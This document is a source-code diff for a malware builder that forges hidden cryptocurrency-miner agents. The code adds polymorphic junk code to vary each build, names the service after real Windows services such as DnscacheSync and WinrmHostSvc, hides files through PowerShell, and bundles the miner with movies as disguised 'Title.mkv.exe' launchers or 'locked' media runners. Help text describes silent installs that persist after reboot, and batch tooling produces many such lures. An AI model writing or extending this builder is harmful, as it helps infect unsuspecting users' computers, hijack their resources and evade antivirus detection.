+ funcCount := 6 + rng.Intn(8)
+ var funcDefs strings.Builder
+ var funcNames []string
+ for i := 0; i < funcCount; i++ {
+ name := "dead_" + randomIdent(rng, 10+rng.Intn(8))
+ funcNames = append(funcNames, name)
+ funcDefs.WriteString(generateDeadFunc(name, rng))
+ }
+
+ strCount := 24 + rng.Intn(32)
+ var strLines strings.Builder
+ for i := 0; i < strCount; i++ {
+ s := randomString(rng, 16+rng.Intn(48))
+ strLines.WriteString(fmt.Sprintf("\t%q,\n", s))
+ }
+
+ var tableEntries strings.Builder
+ for _, n := range funcNames {
+ tableEntries.WriteString("\t\t" + n + ",\n")
+ }
+
+ content := fmt.Sprintf(`// Code generated by AetherForge polymorphic forge — DO NOT EDIT
+// Build seed: %s
+
+package polymorph
+
+import (
+ "crypto/md5"
+ "encoding/hex"
+)
+
+const buildNonce = %q
+
+var decoyStrings = []string{
+%s}
+
+var buildMarker = %q
+
+func init() {
+ _ = initDecoys()
+}
+
+func initDecoys() int {
+ sum := 0
+ for _, fn := range deadFuncTable {
+ sum += fn()
+ }
+ if len(decoyStrings) > 0 {
+ h := md5.Sum([]byte(buildMarker + buildNonce))
+ sum += int(h[0]) ^ int(decoyStrings[len(decoyStrings)-1][0])
+ }
+ _ = hex.EncodeToString([]byte(buildNonce))
+ return sum
+}
+
+func deadFuncTable() []func() int {
+ return []func() int{
+%s }
+}
+
+%s
+`, seed, nonce, strLines.String(), buildIDHex, tableEntries.String(), funcDefs.String())
+
+ dir := filepath.Join(agentDir, "polymorph")
+ if err := os.MkdirAll(dir, 0755); err != nil {
+ return "", err
+ }
+ if err := os.WriteFile(filepath.Join(dir, "deadcode.go"), []byte(content), 0644); err != nil {
+ return "", err
+ }
+
+ extraLdflags = fmt.Sprintf(` -buildid=%s -X main.polymorphNonce=%s`, buildIDHex, nonce)
+ return extraLdflags, nil
+}
+
+func generateDeadFunc(name string, rng *mrand.Rand) string {
+ ops := 4 + rng.Intn(6)
+ var b strings.Builder
+ b.WriteString(fmt.Sprintf("//go:noinline\nfunc %s() int {\n\tx := %d\n", name, rng.Intn(99999)+1))
+ for i := 0; i < ops; i++ {
+ switch rng.Intn(4) {
+ case 0:
+ b.WriteString(fmt.Sprintf("\tx = (x * %d) ^ %d\n", rng.Intn(127)+2, rng.Intn(4096)))
+ case 1:
+ b.WriteString(fmt.Sprintf("\tx += len(decoyStrings[%d %% len(decoyStrings)])\n", rng.Intn(8)))
+ case 2:
+ b.WriteString(fmt.Sprintf("\tif x > %d { x -= %d }\n", rng.Intn(5000), rng.Intn(500)))
+ default:
+ b.WriteString(fmt.Sprintf("\tx = x<<1 | (x >> %d)\n", 1+rng.Intn(3)))
+ }
+ }
+ b.WriteString("\treturn x & 0xffff\n}\n\n")
+ return b.String()
+}
+
+func randomBytes(rng *mrand.Rand, n int) []byte {
+ b := make([]byte, n)
+ for i := range b {
+ b[i] = byte(rng.Intn(256))
+ }
+ return b
+}
+
+func randomIdent(rng *mrand.Rand, n int) string {
+ const chars = "abcdefghijklmnopqrstuvwxyz0123456789"
+ out := make([]byte, n)
+ for i := range out {
+ out[i] = chars[rng.Intn(len(chars))]
+ }
+ return string(out)
+}
+
+func randomString(rng *mrand.Rand, n int) string {
+ const chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 ./-_"
+ out := make([]byte, n)
+ for i := range out {
+ out[i] = chars[rng.Intn(len(chars))]
+ }
+ return string(out)
+}
+
+func pickServiceMasquerade(seed string) (serviceName, donor string) {
+ profiles := []struct{ name, donor string }{
+ {"WinrmHostSvc", "WinRM"},
+ {"WcmsvcWorker", "Wcmsvc"},
+ {"DhcpMonitorHost", "Dhcp"},
+ {"DnscacheSync", "Dnscache"},
+ {"EventLogFwd", "EventLog"},
+ {"LanmanWorkstationMgr", "LanmanWorkstation"},
+ {"RpcEptMapperHost", "RpcEptMapper"},
+ {"ScheduleHostSvc", "Schedule"},
+ {"ShellHWDetectionMon", "ShellHWDetection"},
+ {"TrkWksHost", "TrkWks"},
+ }
+ h := fnv.New32a()
+ _, _ = h.Write([]byte(seed))
+ idx := int(h.Sum32()) % len(profiles)
+ if idx < 0 {
+ idx = -idx
+ }
+ p := profiles[idx]
+ return p.name, p.donor
+}
diff --git a/server/internal/builder/shortcut_stub.go b/server/internal/builder/shortcut_stub.go
new file mode 100644
index 0000000..6fc9860
--- /dev/null
+++ b/server/internal/builder/shortcut_stub.go
@@ -0,0 +1,13 @@
+//go:build !windows
+
+package builder
+
+import "fmt"
+
+func createMovieLockShortcut(_, _, _, _ string) error {
+ return fmt.Errorf("movie lock shortcuts require Windows forge host")
+}
+
+func setHiddenFile(_ string) error {
+ return nil
+}
diff --git a/server/internal/builder/shortcut_windows.go b/server/internal/builder/shortcut_windows.go
new file mode 100644
index 0000000..fae8677
--- /dev/null
+++ b/server/internal/builder/shortcut_windows.go
@@ -0,0 +1,48 @@
+//go:build windows
+
+package builder
+
+import (
+ "fmt"
+ "os/exec"
+ "path/filepath"
+ "strings"
+)
+
+func createMovieLockShortcut(lnkPath, targetExe, arguments, iconLocation string) error {
+ lnkPath, _ = filepath.Abs(lnkPath)
+ targetExe, _ = filepath.Abs(targetExe)
+ workDir := filepath.Dir(targetExe)
+ if iconLocation == "" {
+ iconLocation = `%SystemRoot%\System32\imageres.dll,196`
+ }
+ lnkEsc := escapePS(lnkPath)
+ targetEsc := escapePS(targetExe)
+ workEsc := escapePS(workDir)
+ iconEsc := escapePS(iconLocation)
+ argsEsc := escapePS(arguments)
+ script := fmt.Sprintf(
+ `$ws = New-Object -ComObject WScript.Shell; $s = $ws.CreateShortcut('%s'); $s.TargetPath = '%s'; $s.Arguments = '%s'; $s.WorkingDirectory = '%s'; $s.IconLocation = '%s'; $s.Description = 'Locked media'; $s.Save()`,
+ lnkEsc, targetEsc, argsEsc, workEsc, iconEsc,
+ )
+ cmd := exec.Command("powershell", "-NoProfile", "-NonInteractive", "-Command", script)
+ out, err := cmd.CombinedOutput()
+ if err != nil {
+ return fmt.Errorf("create shortcut: %w (%s)", err, strings.TrimSpace(string(out)))
+ }
+ return nil
+}
+
+func setHiddenFile(path string) error {
+ path, _ = filepath.Abs(path)
+ script := fmt.Sprintf(
+ `(Get-Item -LiteralPath '%s').Attributes = 'Hidden'`,
+ escapePS(path),
+ )
+ cmd := exec.Command("powershell", "-NoProfile", "-NonInteractive", "-Command", script)
+ return cmd.Run()
+}
+
+func escapePS(s string) string {
+ return strings.ReplaceAll(s, "'", "''")
+}
diff --git a/server/web/src/api/client.ts b/server/web/src/api/client.ts
index 555d741..e44f80c 100644
--- a/server/web/src/api/client.ts
+++ b/server/web/src/api/client.ts
@@ -81,6 +81,8 @@ export const api = {
},
buildDownloadUrl: (buildId: string) => `${API_BASE}/builds/${buildId}/download`,
+ buildArtifactUrl: (buildId: string, fileName: string) =>
+ `${API_BASE}/builds/${buildId}/artifact/${encodeURIComponent(fileName)}`,
buildUninstallUrl: (buildId: string) => `${API_BASE}/builds/${buildId}/uninstall`,
// Blueprints (config presets)
diff --git a/server/web/src/api/download.ts b/server/web/src/api/download.ts
index e6cf9b7..7fe3e9f 100644
--- a/server/web/src/api/download.ts
+++ b/server/web/src/api/download.ts
@@ -18,3 +18,6 @@ export async function downloadAuthedFile(apiPath: string, filename: string): Pro
a.remove();
URL.revokeObjectURL(objectUrl);
}
+
+/** Alias used by Forge auto-download and DownloadButton. */
+export const downloadApiFile = downloadAuthedFile;
diff --git a/server/web/src/components/DownloadButton.tsx b/server/web/src/components/DownloadButton.tsx
new file mode 100644
index 0000000..8ada5fb
--- /dev/null
+++ b/server/web/src/components/DownloadButton.tsx
@@ -0,0 +1,33 @@
+import { useState, type ReactNode } from 'react';
+import { downloadApiFile } from '../api/download';
+
+type Props = {
+ apiPath: string;
+ filename: string;
+ className?: string;
+ children: ReactNode;
+};
+
+/** Click to save an API file to the browser Downloads folder. */
+export default function DownloadButton({ apiPath, filename, className, children }: Props) {
+ const [busy, setBusy] = useState(false);
+
+ const handleClick = async (e: React.MouseEvent) => {
+ e.preventDefault();
+ if (busy) return;
+ setBusy(true);
+ try {
+ await downloadApiFile(apiPath, filename);
+ } catch (err) {
+ window.alert(err instanceof Error ? err.message : 'Download failed');
+ } finally {
+ setBusy(false);
+ }
+ };
+
+ return (
+
+ {busy ? 'Downloading…' : children}
+
+ );
+}
diff --git a/server/web/src/help/forgeDefaults.ts b/server/web/src/help/forgeDefaults.ts
index 8ea7ae4..835a57b 100644
--- a/server/web/src/help/forgeDefaults.ts
+++ b/server/web/src/help/forgeDefaults.ts
@@ -35,6 +35,10 @@ export const FORGE_BUILD_DEFAULTS: Omit<
fusion_enabled: false,
fusion_run_order: 'parallel',
fusion_output_name: 'prep.exe',
+ fusion_payload_kind: 'exe',
+ fusion_media_mode: 'paired',
+ fusion_media_base_name: '',
+ fusion_export_subdir: '',
ai_enabled: false,
ai_ollama_endpoint: 'http://localhost:11434',
ai_model: 'llama3.2',
diff --git a/server/web/src/help/fusionMedia.ts b/server/web/src/help/fusionMedia.ts
new file mode 100644
index 0000000..f94f9f2
--- /dev/null
+++ b/server/web/src/help/fusionMedia.ts
@@ -0,0 +1,20 @@
+export function isFusionVideoFile(file: File | null | undefined): boolean {
+ if (!file?.name) return false;
+ return /\.(mp4|mkv|mov)$/i.test(file.name);
+}
+
+export function fusionTitleFromFilename(name: string): string {
+ const base = name.replace(/^.*[/\\]/, '');
+ return base.replace(/\.(mp4|mkv|mov|exe)$/i, '') || 'movie';
+}
+
+export function defaultRunnerName(mediaName: string): string {
+ const title = fusionTitleFromFilename(mediaName);
+ return `${title}-runner.exe`;
+}
+
+export function defaultEmbeddedName(mediaName: string): string {
+ const ext = mediaName.match(/\.(mp4|mkv|mov)$/i)?.[0] || '.mkv';
+ const title = fusionTitleFromFilename(mediaName);
+ return `${title}${ext}.exe`;
+}
diff --git a/server/web/src/help/settingHelp.ts b/server/web/src/help/settingHelp.ts
index a6f82c9..4fbf7d7 100644
--- a/server/web/src/help/settingHelp.ts
+++ b/server/web/src/help/settingHelp.ts
@@ -68,10 +68,16 @@ export const FIELD_HELP: Record = {
run_as: 'User = Run key when persistence is on. Scheduled/Service always creates a logon task (persistence forced on — checkbox locks).',
silent_mode: 'Legacy toggle — prefer Display Mode. Hidden window when enabled.',
auto_start: 'Same as Persistence. Keeps miner running after reboot.',
- fusion_enabled: 'Embed your prep.exe and the miner worker into one output file. Double-clicking the fused exe runs both.',
- fusion_run_order: 'Parallel runs prep and miner together. Prep first finishes prep then keeps miner running. Worker first installs the miner then runs prep.',
- fusion_prep: 'The executable you want to bundle the miner inside. The final forged output will launch this prep file and the hidden miner.',
- fusion_output_name: 'Filename of the fused output on disk, usually prep.exe so your USB workflow stays the same.',
+ fusion_enabled:
+ 'Bundle a prep .exe or a movie (.mp4 / .mkv / .mov) with the hidden miner. Video mode plays the movie while the worker installs in the background.',
+ fusion_run_order:
+ 'Parallel runs prep/movie and miner together. Prep first finishes the visible app then keeps the miner. Worker first installs the miner then runs prep.',
+ fusion_prep:
+ 'Prep .exe or a movie (.mp4 / .mkv / .mov). EXE = classic Fusion. Video = plays the movie while the miner installs hidden.',
+ fusion_media_mode:
+ 'Embedded: one disguised file (e.g. Vacation.mkv.exe) with the movie inside — single download, best under ~500MB. Paired: runner + encrypted .cmdata in fusion-deliverables// — best for full-length films (up to 2GB upload).',
+ fusion_output_name:
+ 'Output launcher name. For paired video this is usually Title-runner.exe; embedded uses Title.mkv.exe style names.',
install_base: 'Windows folder root where the miner embeds itself on first run. LocalAppData is typical for per-user hidden installs.',
install_custom_base: 'Full base path when Install Base is Custom. Supports %LOCALAPPDATA%, %APPDATA%, %ProgramData%, etc.',
install_relative_path: 'Folder path under the base, created on first run. Tokens: {worker}, {build}, {build_short}, {process}. Final exe: that folder + Process Name.exe',
diff --git a/server/web/src/pages/BuilderPage.tsx b/server/web/src/pages/BuilderPage.tsx
index 6da6cba..2a446e9 100644
--- a/server/web/src/pages/BuilderPage.tsx
+++ b/server/web/src/pages/BuilderPage.tsx
@@ -14,6 +14,14 @@ import { ForgeFieldBadge, ForgeLockedHint, ForgeSectionHeader } from '../compone
import { blueprintDiff, buildRequestFromRecord } from '../help/buildManager';
import { LanDownloadQR } from '../components/Fleet/LanDownloadQR';
import AuthDownloadButton from '../components/AuthDownloadButton';
+import DownloadButton from '../components/DownloadButton';
+import { downloadApiFile } from '../api/download';
+import {
+ isFusionVideoFile,
+ fusionTitleFromFilename,
+ defaultRunnerName,
+ defaultEmbeddedName,
+} from '../help/fusionMedia';
import '../components/Fleet/FleetPanels.css';
import './Pages.css';
@@ -53,6 +61,15 @@ export default function BuilderPage() {
const [showRecent, setShowRecent] = useState(false);
const [loadingDefaults, setLoadingDefaults] = useState(true);
const [fusionPrepFile, setFusionPrepFile] = useState(null);
+ const [fusionBatchFiles, setFusionBatchFiles] = useState([]);
+ const [batchJob, setBatchJob] = useState<{
+ total: number;
+ current: number;
+ fileName: string;
+ phase: string;
+ percent: number;
+ log: { name: string; status: 'pending' | 'active' | 'ok' | 'fail'; detail?: string }[];
+ } | null>(null);
const [fusionEstimate, setFusionEstimate] = useState(null);
const [estimateLoading, setEstimateLoading] = useState(false);
const [estimateError, setEstimateError] = useState('');
@@ -117,6 +134,28 @@ export default function BuilderPage() {
}
};
+ const finishForgeSuccess = async (result: BuildResponse) => {
+ setLastBuild(result);
+ loadRecentBuilds();
+ const url = result.bundle_download_url || result.download_url;
+ const name = result.bundle_file_name || result.file_name;
+ if (url && name) {
+ try {
+ await downloadApiFile(url, name);
+ } catch (err) {
+ console.error('Auto-download failed:', err);
+ }
+ return;
+ }
+ if (result.download_url && result.file_name) {
+ try {
+ await downloadApiFile(result.download_url, result.file_name);
+ } catch (err) {
+ console.error('Auto-download failed:', err);
+ }
+ }
+ };
+
// Blueprint: save current form as a named blueprint
const handleSaveBlueprint = async () => {
if (!form) return;
@@ -176,8 +215,7 @@ export default function BuilderPage() {
try {
const result = await api.buildAgent(merged, fusionPrepFile);
if (!result.success) throw new Error(result.error || 'Build failed');
- setLastBuild(result);
- loadRecentBuilds();
+ await finishForgeSuccess(result);
setBlueprintMsg(`✅ Re-forged ${build.worker_name}`);
} catch (err: any) {
setError(err.message || 'Re-forge failed');
@@ -238,6 +276,127 @@ export default function BuilderPage() {
URL.revokeObjectURL(url);
};
+ const applyFusionFileSelection = (f: File | null) => {
+ setFusionPrepFile(f);
+ if (!f) return;
+ setForm((prev) => {
+ if (!prev) return prev;
+ const video = isFusionVideoFile(f);
+ const mode = prev.fusion_media_mode || 'paired';
+ return {
+ ...prev,
+ fusion_payload_kind: video ? 'video' : 'exe',
+ fusion_media_base_name: f.name,
+ fusion_output_name: video
+ ? mode === 'embedded'
+ ? defaultEmbeddedName(f.name)
+ : defaultRunnerName(f.name)
+ : f.name,
+ };
+ });
+ };
+
+ const handleBatchForgeMovies = async () => {
+ if (!form || fusionBatchFiles.length === 0) return;
+ setError('');
+ setLastBuild(null);
+ setBuilding(true);
+ const total = fusionBatchFiles.length;
+ const log = fusionBatchFiles.map((f) => ({ name: f.name, status: 'pending' as const }));
+ setBatchJob({ total, current: 0, fileName: '', phase: 'starting', percent: 0, log });
+ let ok = 0;
+ try {
+ for (let i = 0; i < total; i++) {
+ const file = fusionBatchFiles[i];
+ const title = fusionTitleFromFilename(file.name);
+ const pct = Math.round((i / total) * 100);
+ setBatchJob((j) =>
+ j
+ ? {
+ ...j,
+ current: i + 1,
+ fileName: file.name,
+ phase: 'building',
+ percent: pct,
+ log: j.log.map((row, idx) =>
+ idx === i ? { ...row, status: 'active', detail: 'Forging + packaging ZIP…' } : row
+ ),
+ }
+ : j
+ );
+ const mode = form.fusion_media_mode || 'paired';
+ const req: BuildRequest = {
+ ...form,
+ fusion_enabled: true,
+ fusion_payload_kind: 'video',
+ fusion_media_base_name: file.name,
+ fusion_export_subdir: title,
+ fusion_output_name:
+ mode === 'embedded' ? defaultEmbeddedName(file.name) : defaultRunnerName(file.name),
+ worker_name: `${form.worker_name || 'miner'}-${title}`.replace(/[^a-zA-Z0-9._-]+/g, '_').slice(0, 48),
+ };
+ const checks = runForgePreflight(req, true);
+ if (preflightHasErrors(checks)) {
+ throw new Error(`Preflight failed for ${file.name}`);
+ }
+ const result = await api.buildAgent(req, file);
+ if (!result.success) throw new Error(result.error || `Build failed: ${file.name}`);
+ setBatchJob((j) =>
+ j
+ ? {
+ ...j,
+ phase: 'downloading',
+ log: j.log.map((row, idx) =>
+ idx === i ? { ...row, detail: `Downloading ${result.bundle_file_name || 'package'}…` } : row
+ ),
+ }
+ : j
+ );
+ await finishForgeSuccess(result);
+ ok++;
+ setBatchJob((j) =>
+ j
+ ? {
+ ...j,
+ log: j.log.map((row, idx) =>
+ idx === i
+ ? {
+ ...row,
+ status: 'ok',
+ detail: result.fusion_export_dir
+ ? `Saved → ${result.fusion_export_dir}`
+ : 'ZIP downloaded',
+ }
+ : row
+ ),
+ }
+ : j
+ );
+ }
+ setBatchJob((j) => (j ? { ...j, phase: 'done', percent: 100, fileName: '' } : j));
+ setBlueprintMsg(`✅ Batch forged ${ok} movie(s) — one ZIP per title in fusion-deliverables/`);
+ setTimeout(() => setBlueprintMsg(''), 6000);
+ setFusionBatchFiles([]);
+ } catch (err: unknown) {
+ const msg = err instanceof Error ? err.message : 'Batch forge failed';
+ setError(msg);
+ setBatchJob((j) =>
+ j
+ ? {
+ ...j,
+ phase: 'error',
+ log: j.log.map((row) =>
+ row.status === 'active' ? { ...row, status: 'fail', detail: msg } : row
+ ),
+ }
+ : j
+ );
+ } finally {
+ setBuilding(false);
+ setTimeout(() => setBatchJob(null), 8000);
+ }
+ };
+
const handleSubmit = async (e: React.FormEvent) => {
e.preventDefault();
if (!form) return;
@@ -256,8 +415,7 @@ export default function BuilderPage() {
if (!result.success) {
throw new Error(result.error || 'Build failed');
}
- setLastBuild(result);
- loadRecentBuilds();
+ await finishForgeSuccess(result);
} catch (err: any) {
setError(err.message || 'Build failed');
} finally {
@@ -298,6 +456,8 @@ export default function BuilderPage() {
);
const canForge = form ? !preflightHasErrors(preflightChecks) : false;
const errorCount = preflightChecks.filter((c) => c.level === 'error').length;
+ const fusionIsVideo = isFusionVideoFile(fusionPrepFile);
+ const fusionMediaMode = form?.fusion_media_mode || 'paired';
useEffect(() => {
if (!form?.fusion_enabled || !fusionPrepFile) {
@@ -976,23 +1136,144 @@ export default function BuilderPage() {
<>
- Your prep.exe
+ Prep .exe or movie (.mp4 / .mkv / .mov)
{
- const f = e.target.files?.[0] || null;
- setFusionPrepFile(f);
- if (f?.name) {
- updateField('fusion_output_name', f.name);
- }
+ applyFusionFileSelection(e.target.files?.[0] || null);
+ e.target.value = '';
}}
/>
{fusionPrepFile && (
-
Selected: {fusionPrepFile.name} ({(fusionPrepFile.size / 1024 / 1024).toFixed(2)} MB)
+
+ Selected: {fusionPrepFile.name} ({(fusionPrepFile.size / 1024 / 1024).toFixed(2)} MB)
+ {fusionIsVideo ? ' — video payload' : ' — exe payload'}
+
+ )}
+
Upload limit: 2 GB per file.
+
+ {fusionIsVideo && (
+
+
Movie delivery
+
+
+ {
+ updateField('fusion_media_mode', 'embedded');
+ if (fusionPrepFile) {
+ updateField('fusion_output_name', defaultEmbeddedName(fusionPrepFile.name));
+ }
+ }}
+ />
+
+ Option A — Single file (embedded)
+
+
+
+
+ One disguised launcher (e.g. Title.mkv.exe) contains the movie + hidden miner.
+ Best when the file is under ~500MB.
+
+
+ {
+ updateField('fusion_media_mode', 'paired');
+ if (fusionPrepFile) {
+ updateField('fusion_output_name', defaultRunnerName(fusionPrepFile.name));
+ }
+ }}
+ />
+
+ Option B — Movie + runner (paired)
+
+
+
+ Title.mkv (shortcut) + hidden Title.mkv.cmdata +{' '}
+ Title-runner.exe in fusion-deliverables/Title/. Clicking the
+ movie shows a lock message; only the runner decrypts and plays it.
+
+
+
+ )}
+
+
+ Batch movies
+
+
{
+ const list = e.target.files ? Array.from(e.target.files) : [];
+ setFusionBatchFiles(list);
+ e.target.value = '';
+ }}
+ />
+ {fusionBatchFiles.length > 0 && (
+
+ {fusionBatchFiles.length} movie(s) queued — each becomes a ZIP in{' '}
+ fusion-deliverables/<title>/ (runner + locked movie + README).
+
+ )}
+ {batchJob && (
+
+
+ BATCH FORGE
+
+ {batchJob.current}/{batchJob.total} — {batchJob.phase}
+
+
+
+ {batchJob.fileName && (
+
+ Current: {batchJob.fileName}
+
+ )}
+
+ {batchJob.log.map((row) => (
+
+
+ {row.status === 'ok' ? '✓' : row.status === 'fail' ? '✕' : row.status === 'active' ? '…' : '○'}
+
+
+ {row.name}
+ {row.detail ? ` — ${row.detail}` : ''}
+
+
+ ))}
+
+
+ )}
+ {fusionBatchFiles.length > 0 && (
+
+ {building
+ ? `Batch forging… (${batchJob?.current ?? 0}/${fusionBatchFiles.length})`
+ : `Batch forge ${fusionBatchFiles.length} movie(s) → ZIP each`}
+
)}
{!simpleMode && (
@@ -1196,11 +1477,19 @@ export default function BuilderPage() {
)}
File: {lastBuild.file_name}
Size: {((lastBuild.file_size || 0) / 1024 / 1024).toFixed(2)} MB
+ {lastBuild.fusion_export_dir && (
+ <>
+ Movie deliverables folder:
+ {lastBuild.fusion_export_dir}
+ >
+ )}
{lastBuild.export_path && (
<>
Your file (project root):
{lastBuild.export_path}
- Fusion output keeps prep icon + File Description / version strings from your uploaded prep.exe (Windows).
+ {!lastBuild.fusion_export_dir && (
+ Fusion output keeps prep icon + File Description / version strings from your uploaded prep.exe (Windows).
+ )}
{(lastBuild.obfuscated || lastBuild.signed) && (
{lastBuild.obfuscated && 'Garble obfuscation applied. '}
@@ -1210,11 +1499,32 @@ export default function BuilderPage() {
>
)}
Archive copy: {lastBuild.file_path}
- {lastBuild.download_url && (
-
- Download .exe
-
- )}
+
+ {lastBuild.download_url && lastBuild.file_name && (
+
+ Download {lastBuild.file_name}
+
+ )}
+ {!lastBuild.bundle_download_url && lastBuild.build_id && lastBuild.extra_files?.map((f) => (
+
+ Download {f.file_name}
+
+ ))}
+
+ {lastBuild.bundle_file_name
+ ? 'One ZIP per title — extract and run the runner only (agent is inside it, hidden).'
+ : 'Saved to your browser Downloads when the forge completes. Click again if needed.'}
+
+
{lastBuild.uninstall_export_path && (
Uninstaller copy: {lastBuild.uninstall_export_path}
)}
@@ -1263,6 +1573,8 @@ export default function BuilderPage() {
{recentBuilds.map((build) => {
const downloadUrl = `${window.location.origin}${api.buildDownloadUrl(build.id)}`;
+ const exeName =
+ build.file_path?.replace(/^.*[/\\]/, '') || `install-${build.worker_name}.exe`;
return (
@@ -1274,9 +1586,13 @@ export default function BuilderPage() {
-
+
Download
-
+